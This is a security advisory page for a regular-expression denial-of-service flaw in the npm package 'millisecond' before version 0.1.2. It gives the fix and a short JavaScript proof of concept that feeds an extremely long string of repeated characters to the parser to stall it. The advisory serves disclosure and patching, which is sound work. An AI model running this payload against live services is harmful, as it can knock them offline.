GHSA-m489-xr35-fjxr

    Dashboard / Vulnerabilities / GHSA-m489-xr35-fjxr

    GHSA-m489-xr35-fjxr

    Published: 22 Sept 2021Last Modified: 22 Sept 2021

    Summary: Regular Expression Denial of Service in millisecond

    Details: Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed. ## Proof of concept ``` var ms = require('millisecond'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } ms(genstr(process.argv[2], "5") + " minutea"); ``` ## Recommendation Update to version 0.1.2 or later.

    Affected packages

    Package

    Name: millisecond

    Purl: pkg:npm/millisecond

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -0.1.2

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-m489-xr35-fjxr | CVE-DB